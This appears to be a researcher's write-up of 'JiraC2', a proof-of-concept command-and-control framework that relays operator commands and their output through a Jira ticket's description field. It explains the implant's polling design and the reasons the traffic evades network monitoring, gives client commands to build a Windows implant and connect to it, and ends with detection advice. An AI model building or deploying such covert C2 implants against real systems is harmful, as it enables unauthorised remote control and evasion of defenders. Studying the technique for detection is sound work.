Using Jira APIs as a C2 Transport Layer
Background
The evolution of C2 frameworks has largely been driven by a cat-and-mouse game with network defenders. As Network Security Monitoring (NSM) and intrusion detection systems improved, C2 architectures had to become stealthier. Early botnets and remote access trojans (RATs) primarily used Internet Relay Chat (IRC) for C2. Attackers would hardcode an IRC server into their malware, and compromised machines would join a specific channel to wait for commands. This was highly effective at the time but extremely noisy; defenders could easily spot the cleartext traffic and block the IRC ports or IP addresses.
To evade basic firewall rules blocking non-standard ports, C2 traffic shifted to HTTP and eventually HTTPS. Instead of maintaining a persistent connection, implants began using a "beaconing" or polling mechanism, waking up at set intervals (often with randomized "jitter") to check an attacker-controlled web server for new commands. This blended in much better with normal user web browsing.
Modern C2 frameworks focus on "living off the land" by routing traffic through highly trusted third-party services. This includes Domain Fronting (hiding the true C2 destination behind a CDN like Cloudflare or AWS) and API abuse, where platforms like Slack, Discord, Google Drive, or Jira are used as the transport layer. Because this traffic is encrypted and destined for legitimate enterprise services, it is incredibly difficult for defenders to block without disrupting business operations.
Enter: JiraC2
I designed JiraC2 to be a lightweight, modular Command and Control (C2) framework that uses Atlassian Jira as a stealthy middleware transport layer. The primary goal of this architecture is to evade traditional Network Security Monitoring (NSM) and SIEM anomaly detection by blending C2 traffic into legitimate, normal corporate network traffic via official Jira APIs.
This research project is intended only as a proof-of-concept. Be smart and never use JiraC2 outside of a network sandbox that you have full ownership over. I am not responsible if bad things happen to you as a result of misusing this tool.
Architectural Concerns and Design
sequenceDiagram
participant O as Operator
participant J as Jira Ticket
participant A as Agent
O->>J: 1. Stage Command
A->>J: 2. Sleep Interval Ends (Beacons Out via HTTPS)
J->>A: 3. Returns Command
A->>J: 4. Executes & Posts Back (stdout/stderr Results)
J->>O: 5. Reads Results
1. Component Roles and Communication
The framework consists of three main components:
- Operator Client: A Go-compiled CLI tool that provisions implants, creates Jira tracking tickets, and stages commands.
- Jira Middleware: Acts as the command queue. Communications (commands and outputs) are stored inside the description field of a dedicated Jira issue.
- Agent Implant: A self-contained, statically compiled Go binary that periodically polls the assigned Jira ticket via the official REST API to fetch commands and post results.
Communications rely on markdown-formatted headers inside the Jira ticket's description field. The state machine operates in a loop where the Operator writes commands under a ## Command header, the Agent parses and executes it, writes the results to an ## Output section, and clears the command to prevent re-execution.
2. Build and Compilation Strategy
To ensure the Agent Implant remains entirely self-contained with zero runtime dependencies, the Operator Client utilizes the Go compiler's link-time variable injection (ldflags). During compilation, the client hardcodes necessary configurations (Jira URL, API Token, Ticket ID, and Sleep Interval) directly into the Implant binary. Utility modules for information gathering (e.g., sysinfo, network_connections) are also statically linked into the binary to minimize deployment complexity.
3. Security and Evasion Posture
By leveraging Jira as a proxy, JiraC2 achieves strong evasion characteristics:
- Transport Security: All traffic points to standard Atlassian infrastructure (
https://*.atlassian.netor a corporate instance), making it highly resilient to reputation blocklists and TLS inspection exceptions. - Authentication: HTTPS secures credentials in transit. API Tokens used by the Implants should adhere to the principle of least privilege, restricted to the single project space used for the operation.
- Trade-offs and Risks: Hardcoding credentials within the Implant binary introduces a reverse-engineering risk. If captured, defenders can extract the API Token and access the Jira ticket. A planned mitigation for future iterations is the implementation of end-to-end payload encryption (e.g., asymmetric encryption) to protect command details even if the Jira API credentials are compromised.
Examples
Build the Client binary with make all, then compile an Agent implant:
client --action create --url "https://<YOUR_ENDPOINT>.atlassian.net/jira" --email "<YOUR_JIRA_EMAIL@email.com>" --token "<YOUR_JIRA_API_KEY>" --project "KAN" --os windows
On the target, run the Agent implant (.\implant.exe), then connect with the Client:
client --url "https://<YOUR_ENDPOINT>.atlassian.net/jira" --email "<YOUR_JIRA_EMAIL@email.com>" --token "<YOUR_JIRA_API_KEY>" --ticket "KAN-XXX"
Detection and Mitigation Strategies
Because JiraC2 communicates over legitmate API endpoints, a reliable way to detect its C2 traffic is not in-flight, but rather on the endpoint itself. Most EDR solutions offer ways to tune detections to catch HTTP traffic originating from command line tools or generic binaries. However, in a modern context in which most large organizations (or those without a mature security posture) have significant "shadow IT" and tooling inventory/visibility problems, this may still not be enough to distinguish between malicious traffic and Brian from Accounting running his new vibe-coded ticket updater software.
Putting a network gateway in place gives even more knobs that the security team can turn for detecting malicious traffic over public APIs. For instance, many enterprise SaaS providers allow injection of HTTP headers at the proxy level to restrict access to only explicitly allowed corporate tenents. TLS inspection can also be performed to attempt to catch suspicious payloads flowing out of the gateway, but a sampling strategy should be implemented to reduce the overhead that comes with any sort of TLS interception.
The beaconing pattern of modern C2 frameworks, JiraC2 included, can also be targeted for detection purposes. For instance, inspecting connections that occur at highly regular intervals (e.g. 60 seconds), regardless of the destination domain. Attacker-tuneable jitter patterns in Agent implants can make this difficult, however.
Zero trust architecture and a strict allowlisting strategy is probably the best holistic approach for detecting tools like JiraC2, and unfortunately comes with the most cost in terms of implementation. Restricting outbound traffic to a well-maintained allowlist of endpoints and enforcing ZTNA through strategies like full mTLS schemes makes it significantly easier to detect unusual and/or malicious traffic patterns, and makes tuning alerts around these patterns far more straightforward.
Enhancements
There are many enhancements that could be made to this tool to make it more stealthy, more user-friendly, and more robust. A few off the top of my head:
- E2E Payload Encryption. The single largest improvement that could be made is implementing end-to-end encryption that fully obfuscates command payloads.
- Binary Obfuscations/RE Protection. Right now, anyone with access to the Agent binary can trivially reverse-engineer it to discover configuration details such as the Jira endpoint and API key. This could be hardened and obfuscated to prevent trivial reversing.
- Multiple SaaS Middlewares. JiraC2 could be expanded to support wiring the Agent and Client architecture to other public API providers, such as Google and Microsoft web products.
I will likely never implement these enhancements, as this project is intended as a proof-of-concept only.